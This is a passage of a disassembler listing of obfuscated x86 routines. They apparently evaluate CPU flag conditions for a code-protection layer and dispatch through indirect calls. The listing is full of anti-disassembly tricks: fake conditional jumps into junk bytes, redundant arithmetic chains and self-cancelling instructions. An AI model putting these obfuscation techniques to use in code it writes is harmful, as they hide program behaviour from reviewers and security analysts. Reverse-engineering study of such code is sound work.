dec edi
inc dh
dec edi
inc dh
dec edi
and ebx, 10h
inc dh
inc dh
jo short loc_49CF19
jl short loc_49CF17
loc_49CF14: ; CODE XREF: sub_49CE90:loc_49CF17j
jmp short loc_49CF1B
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49CF17: ; CODE XREF: sub_49CE90+82j
jz short loc_49CF14
loc_49CF19: ; CODE XREF: sub_49CE90+80j
jmp short near ptr loc_49CF75+1
; ---------------------------------------------------------------------------
loc_49CF1B: ; CODE XREF: sub_49CE90:loc_49CF14j
sub dh, 0Dh
dec dh
and ah, dh
mov dl, 5
sub dl, 0FFh
loc_49CF27: ; CODE XREF: sub_49CE90:loc_49CED3j
dec dl
dec edi
dec dl
dec dl
dec edi
sub dl, 0FFh
dec dl
dec dl
dec dl
and al, dl
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3B4
xor ecx, dword_4ED3B8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49CF5E
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49CF5E: ; CODE XREF: sub_49CE90+C3j
mov eax, [ebp+var_8]
push eax
call off_4F1D0C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49CE90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49CF72 proc near ; DATA XREF: sub_4965D8+1587o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
loc_49CF75: ; CODE XREF: sub_49CE90:loc_49CF19j
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D98
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 2
dec dh
dec dh
and ah, dh
mov dl, 0Eh
sub dl, 0FFh
jo short loc_49CFA5
jl short loc_49CFA3
loc_49CFA0: ; CODE XREF: sub_49CF72:loc_49CFA3j
; sub_49CF72:loc_49CFA5j
jmp short loc_49CFA7
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49CFA3: ; CODE XREF: sub_49CF72+2Cj
jz short loc_49CFA0
loc_49CFA5: ; CODE XREF: sub_49CF72+2Aj
jmp short loc_49CFA0
; ---------------------------------------------------------------------------
loc_49CFA7: ; CODE XREF: sub_49CF72:loc_49CFA0j
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0Ah
sub dl, 0FFh
sub dl, 0FFh
sub dl, 5
dec dl
dec dl
dec dl
sub dl, 3
sub dl, 0FFh
dec dl
inc dl
inc dl
inc dl
and al, dl
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3C8
xor ecx, dword_4ED3CC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49CFF8
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49CFF8: ; CODE XREF: sub_49CF72+7Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D20
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49CF72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D00C proc near ; DATA XREF: sub_4965D8+14E8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 410h
pop ebx
dec bh
dec bh
sub bh, 0FFh
sub bh, 2
dec bh
and ah, bh
mov bl, 0Eh
sub bl, 4
dec bl
sub bl, 1
sub bl, 1
sub bl, 1
sub bl, 1
sub bl, 1
and al, bl
pop ebx
pop edx
test eax, eax
jz short loc_49D06B
not eax
add eax, 1
stc
jmp short loc_49D071
; ---------------------------------------------------------------------------
loc_49D06B: ; CODE XREF: sub_49D00C+55j
not eax
add eax, 1
clc
loc_49D071: ; CODE XREF: sub_49D00C+5Dj
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49D098
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49D098: ; CODE XREF: sub_49D00C+81j
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D00C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D0AC proc near ; DATA XREF: sub_4965D8+1405o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D80
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49D0D1
jl short loc_49D0CF
loc_49D0CC: ; CODE XREF: sub_49D0AC:loc_49D0CFj
; sub_49D0AC:loc_49D0D1j
jmp short loc_49D0D3
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49D0CF: ; CODE XREF: sub_49D0AC+1Ej
jz short loc_49D0CC
loc_49D0D1: ; CODE XREF: sub_49D0AC+1Cj
jmp short loc_49D0CC
; ---------------------------------------------------------------------------
loc_49D0D3: ; CODE XREF: sub_49D0AC:loc_49D0CCj
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_49D127
jl short loc_49D125
loc_49D122: ; CODE XREF: sub_49D0AC:loc_49D125j
; sub_49D0AC:loc_49D127j
jmp short loc_49D129
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49D125: ; CODE XREF: sub_49D0AC+74j
jz short loc_49D122
loc_49D127: ; CODE XREF: sub_49D0AC+72j
jmp short loc_49D122
; ---------------------------------------------------------------------------
loc_49D129: ; CODE XREF: sub_49D0AC:loc_49D122j
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_49D266
mov eax, [ebp+var_4]
jo short loc_49D16E
jl short loc_49D16C
loc_49D169: ; CODE XREF: sub_49D0AC:loc_49D16Cj
; sub_49D0AC:loc_49D16Ej
jmp short loc_49D170
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49D16C: ; CODE XREF: sub_49D0AC+BBj
jz short loc_49D169
loc_49D16E: ; CODE XREF: sub_49D0AC+B9j
jmp short loc_49D169
; ---------------------------------------------------------------------------
loc_49D170: ; CODE XREF: sub_49D0AC:loc_49D169j
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
jo short loc_49D19F
jl short loc_49D19D
loc_49D19A: ; CODE XREF: sub_49D0AC:loc_49D19Dj
; sub_49D0AC:loc_49D19Fj
jmp short loc_49D1A1
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49D19D: ; CODE XREF: sub_49D0AC+ECj
jz short loc_49D19A
loc_49D19F: ; CODE XREF: sub_49D0AC+EAj
jmp short loc_49D19A
; ---------------------------------------------------------------------------
loc_49D1A1: ; CODE XREF: sub_49D0AC:loc_49D19Aj
mov bl, 0C6h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49D1EE
jl short loc_49D1EC
loc_49D1E7: ; CODE XREF: sub_49D0AC:loc_49D1ECj
; sub_49D0AC:loc_49D1EEj
jmp short loc_49D1F0
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D1EC: ; CODE XREF: sub_49D0AC+139j
jz short loc_49D1E7
loc_49D1EE: ; CODE XREF: sub_49D0AC+137j
jmp short loc_49D1E7
; ---------------------------------------------------------------------------
loc_49D1F0: ; CODE XREF: sub_49D0AC:loc_49D1E7j
sub bl, 5
dec bl
push eax
dec bl
dec bl
jo short loc_49D203
jl short loc_49D201
loc_49D1FE: ; CODE XREF: sub_49D0AC:loc_49D201j
; sub_49D0AC:loc_49D203j
jmp short loc_49D205
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49D201: ; CODE XREF: sub_49D0AC+150j
jz short loc_49D1FE
loc_49D203: ; CODE XREF: sub_49D0AC+14Ej
jmp short loc_49D1FE
; ---------------------------------------------------------------------------
loc_49D205: ; CODE XREF: sub_49D0AC:loc_49D1FEj
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49D239
jl short loc_49D237
loc_49D232: ; CODE XREF: sub_49D0AC:loc_49D237j
; sub_49D0AC:loc_49D239j
jmp short loc_49D23B
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D237: ; CODE XREF: sub_49D0AC+184j
jz short loc_49D232
loc_49D239: ; CODE XREF: sub_49D0AC+182j
jmp short loc_49D232
; ---------------------------------------------------------------------------
loc_49D23B: ; CODE XREF: sub_49D0AC:loc_49D232j
inc eax
dec eax
jo short loc_49D248
jl short loc_49D246
loc_49D241: ; CODE XREF: sub_49D0AC:loc_49D246j
; sub_49D0AC:loc_49D248j
jmp short loc_49D24A
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D246: ; CODE XREF: sub_49D0AC+193j
jz short loc_49D241
loc_49D248: ; CODE XREF: sub_49D0AC+191j
jmp short loc_49D241
; ---------------------------------------------------------------------------
loc_49D24A: ; CODE XREF: sub_49D0AC:loc_49D241j
inc eax
dec eax
inc eax
dec eax
jo short loc_49D259
jl short loc_49D257
loc_49D252: ; CODE XREF: sub_49D0AC:loc_49D257j
; sub_49D0AC:loc_49D259j
jmp short loc_49D25B
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D257: ; CODE XREF: sub_49D0AC+1A4j
jz short loc_49D252
loc_49D259: ; CODE XREF: sub_49D0AC+1A2j
jmp short loc_49D252
; ---------------------------------------------------------------------------
loc_49D25B: ; CODE XREF: sub_49D0AC:loc_49D252j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49D266
and eax, 0
jmp short loc_49D26A
; ---------------------------------------------------------------------------
loc_49D266: ; CODE XREF: sub_49D0AC+B0j
; sub_49D0AC+1B3j
and eax, 0
inc eax
loc_49D26A: ; CODE XREF: sub_49D0AC+1B8j
mov [ebp+var_C], eax
mov ecx, dword_4ED3B0
xor ecx, dword_4ED3B4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49D28D
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49D28D: ; CODE XREF: sub_49D0AC+1D6j
mov eax, [ebp+var_8]
push eax
call off_4F1D08
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D0AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D2A1 proc near ; DATA XREF: sub_4965D8+19Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49D2C6
jl short loc_49D2C4
loc_49D2C1: ; CODE XREF: sub_49D2A1:loc_49D2C4j
; sub_49D2A1:loc_49D2C6j
jmp short loc_49D2C8
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49D2C4: ; CODE XREF: sub_49D2A1+1Ej
jz short loc_49D2C1
loc_49D2C6: ; CODE XREF: sub_49D2A1+1Cj
jmp short loc_49D2C1
; ---------------------------------------------------------------------------
loc_49D2C8: ; CODE XREF: sub_49D2A1:loc_49D2C1j
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
jo short loc_49D2F7
jl short loc_49D2F5
loc_49D2F2: ; CODE XREF: sub_49D2A1:loc_49D2F5j
; sub_49D2A1:loc_49D2F7j
jmp short loc_49D2F9
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49D2F5: ; CODE XREF: sub_49D2A1+4Fj
jz short loc_49D2F2
loc_49D2F7: ; CODE XREF: sub_49D2A1+4Dj
jmp short loc_49D2F2
; ---------------------------------------------------------------------------
loc_49D2F9: ; CODE XREF: sub_49D2A1:loc_49D2F2j
mov bl, 0C6h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3E8
xor ecx, dword_4ED3EC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49D34C
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49D34C: ; CODE XREF: sub_49D2A1+A0j
mov eax, [ebp+var_8]
push eax
call off_4F1D40
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D2A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D360 proc near ; DATA XREF: sub_4965D8+B9Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DEC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 800h
jmp short loc_49D389
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_49D389: ; CODE XREF: sub_49D360+22j
mov ebx, 6Eh
not ebx
bswap eax
not ebx
inc ebx
inc ebx
dec ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 5
add ebx, ecx
pop ecx
bswap eax
jo short loc_49D3B4
jl short loc_49D3B2
loc_49D3AF: ; CODE XREF: sub_49D360:loc_49D3B2j
; sub_49D360:loc_49D3B4j
jmp short loc_49D3B6
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49D3B2: ; CODE XREF: sub_49D360+4Dj
jz short loc_49D3AF
loc_49D3B4: ; CODE XREF: sub_49D360+4Bj
jmp short loc_49D3AF
; ---------------------------------------------------------------------------
loc_49D3B6: ; CODE XREF: sub_49D360:loc_49D3AFj
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0C00h
dec dh
dec dh
dec dh
sub dh, 0FFh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
jo short loc_49D3EC
jl short loc_49D3EA
loc_49D3E7: ; CODE XREF: sub_49D360:loc_49D3EAj
; sub_49D360:loc_49D3ECj
jmp short loc_49D3EE
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49D3EA: ; CODE XREF: sub_49D360+85j
jz short loc_49D3E7
loc_49D3EC: ; CODE XREF: sub_49D360+83j
jmp short loc_49D3E7
; ---------------------------------------------------------------------------
loc_49D3EE: ; CODE XREF: sub_49D360:loc_49D3E7j
jnz short loc_49D400
jo short loc_49D3F9
jl short loc_49D3F7
loc_49D3F4: ; CODE XREF: sub_49D360:loc_49D3F7j
; sub_49D360:loc_49D3F9j
jmp short loc_49D3FB
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49D3F7: ; CODE XREF: sub_49D360+92j
jz short loc_49D3F4
loc_49D3F9: ; CODE XREF: sub_49D360+90j
jmp short loc_49D3F4
; ---------------------------------------------------------------------------
loc_49D3FB: ; CODE XREF: sub_49D360:loc_49D3F4j
and eax, 0
jmp short loc_49D40F
; ---------------------------------------------------------------------------
loc_49D400: ; CODE XREF: sub_49D360:loc_49D3EEj
and eax, 0
jo short loc_49D40C
jl short loc_49D40A
loc_49D407: ; CODE XREF: sub_49D360:loc_49D40Aj
; sub_49D360:loc_49D40Cj
jmp short loc_49D40E
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49D40A: ; CODE XREF: sub_49D360+A5j
jz short loc_49D407
loc_49D40C: ; CODE XREF: sub_49D360+A3j
jmp short loc_49D407
; ---------------------------------------------------------------------------
loc_49D40E: ; CODE XREF: sub_49D360:loc_49D407j
inc eax
loc_49D40F: ; CODE XREF: sub_49D360+9Ej
mov [ebp+var_C], eax
mov ecx, dword_4ED41C
xor ecx, dword_4ED420
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49D432
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49D432: ; CODE XREF: sub_49D360+C7j
mov eax, [ebp+var_8]
push eax
call off_4F1D74
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D360 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D446 proc near ; DATA XREF: sub_4965D8+BC9o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0D00h
pop ebx
sub bh, 3
dec bh
dec bh
dec bh
push eax
dec bh
dec bh
and eax, 40h
dec bh
sub bh, 3
pop eax
dec bh
jo short loc_49D495
jl short loc_49D493
loc_49D48E: ; CODE XREF: sub_49D446:loc_49D493j
; sub_49D446:loc_49D495j
jmp short loc_49D497
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D493: ; CODE XREF: sub_49D446+46j
jz short loc_49D48E
loc_49D495: ; CODE XREF: sub_49D446+44j
jmp short loc_49D48E
; ---------------------------------------------------------------------------
loc_49D497: ; CODE XREF: sub_49D446:loc_49D48Ej
and ah, bh
mov edx, 26h
dec dl
dec dl
sub dl, 3
dec dl
sub dl, 17h
dec dl
dec dl
dec dl
dec dl
dec dl
jo short loc_49D4BF
jl short loc_49D4BD
loc_49D4B8: ; CODE XREF: sub_49D446:loc_49D4BDj
; sub_49D446:loc_49D4BFj
jmp short loc_49D4C1
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D4BD: ; CODE XREF: sub_49D446+70j
jz short loc_49D4B8
loc_49D4BF: ; CODE XREF: sub_49D446+6Ej
jmp short loc_49D4B8
; ---------------------------------------------------------------------------
loc_49D4C1: ; CODE XREF: sub_49D446:loc_49D4B8j
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3D4
xor ecx, dword_4ED3D8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49D4EE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49D4EE: ; CODE XREF: sub_49D446+9Dj
mov eax, [ebp+var_8]
push eax
call off_4F1D2C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D446 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D502 proc near ; DATA XREF: sub_4965D8+5C4o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, [ebp+arg_4]
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 7
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
sub bl, 20h
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
test eax, eax
jnz loc_49D620
pop ebx
pop edx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Dh
pop ebx
jo short loc_49D5E5
jl short loc_49D5E3
loc_49D5DE: ; CODE XREF: sub_49D502:loc_49D5E3j
; sub_49D502:loc_49D5E5j
jmp short loc_49D5E7
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D5E3: ; CODE XREF: sub_49D502+DAj
jz short loc_49D5DE
loc_49D5E5: ; CODE XREF: sub_49D502+D8j
jmp short loc_49D5DE
; ---------------------------------------------------------------------------
loc_49D5E7: ; CODE XREF: sub_49D502:loc_49D5DEj
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 2500h
dec dh
sub dh, 3
dec dh
sub dh, 18h
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49D620
and eax, 0
jmp short loc_49D624
; ---------------------------------------------------------------------------
loc_49D620: ; CODE XREF: sub_49D502+6Aj
; sub_49D502+117j
and eax, 0
inc eax
loc_49D624: ; CODE XREF: sub_49D502+11Cj
mov [ebp+var_C], eax
mov ecx, dword_4ED3E8
xor ecx, dword_4ED3EC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49D647
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49D647: ; CODE XREF: sub_49D502+13Aj
mov eax, [ebp+var_8]
push eax
call off_4F1D40
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D502 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D65B proc near ; DATA XREF: sub_4965D8+A75o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 4
dec bh
dec bh
dec bh
dec bh
and eax, 80h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
pop ebx
pop edx
test eax, eax
jnz loc_49D77F
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 1
dec bh
and eax, 41h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 97h
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49D720
jl short loc_49D71E
loc_49D719: ; CODE XREF: sub_49D65B:loc_49D71Ej
; sub_49D65B:loc_49D720j
jmp short loc_49D722
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D71E: ; CODE XREF: sub_49D65B+BCj
jz short loc_49D719
loc_49D720: ; CODE XREF: sub_49D65B+BAj
jmp short loc_49D719
; ---------------------------------------------------------------------------
loc_49D722: ; CODE XREF: sub_49D65B:loc_49D719j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49D760
jl short loc_49D75E
loc_49D759: ; CODE XREF: sub_49D65B:loc_49D75Ej
; sub_49D65B:loc_49D760j
jmp short loc_49D762
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49D75E: ; CODE XREF: sub_49D65B+FCj
jz short loc_49D759
loc_49D760: ; CODE XREF: sub_49D65B+FAj
jmp short loc_49D759
; ---------------------------------------------------------------------------
loc_49D762: ; CODE XREF: sub_49D65B:loc_49D759j
inc eax
dec eax
inc eax
dec eax
inc eax
dec eax
jo short loc_49D771
jl short loc_49D76F
loc_49D76C: ; CODE XREF: sub_49D65B:loc_49D76Fj
; sub_49D65B:loc_49D771j
jmp short loc_49D773
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49D76F: ; CODE XREF: sub_49D65B+10Fj
jz short loc_49D76C
loc_49D771: ; CODE XREF: sub_49D65B+10Dj
jmp short loc_49D76C
; ---------------------------------------------------------------------------
loc_49D773: ; CODE XREF: sub_49D65B:loc_49D76Cj
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49D77F
and eax, 0
inc eax
jmp short loc_49D782
; ---------------------------------------------------------------------------
loc_49D77F: ; CODE XREF: sub_49D65B+67j
; sub_49D65B+11Cj
and eax, 0
loc_49D782: ; CODE XREF: sub_49D65B+122j
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49D7A5
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49D7A5: ; CODE XREF: sub_49D65B+13Fj
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49D65B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49D7B9 proc near ; DATA XREF: sub_4965D8+10BFo
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push ebx
mov ebx, 0FFFFh
and eax, 800h
push ecx
mov ch, 41h
sub ch, 1
sub ch, 10h
dec ch
dec ch
push ebx
dec ch
dec ch
dec ch
dec ch
dec ch
mov ebx, [ebp+arg_4]
dec ch
dec ch
dec ch
inc bl
dec ch
dec ch
dec ch
dec ch
inc bl
dec ch
dec ch
dec ch
sub bl, 0Ah
dec ch
sub ch, 4
dec ch
pop ebx
sub ch, 3
dec ch
mov ebx, [ebp+arg_4]
dec esi
dec edi
dec edi
mov edx, 4
dec edx
dec edx
sub edx, 2
or ebx, edx
jz short loc_49D82D
dec edi
and eax, 0
jmp short loc_49D835
; ---------------------------------------------------------------------------
loc_49D82D: ; CODE XREF: sub_49D7B9+6Cj
dec edi
dec ecx
and eax, 0
dec ecx
dec edx
inc eax
loc_49D835: ; CODE XREF: sub_49D7B9+72j
mov [ebp+var_8], eax
mov eax, dword_4ED3B4
xor eax, dword_4ED3B8
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_49D857
mov ecx, [ebp+var_4]
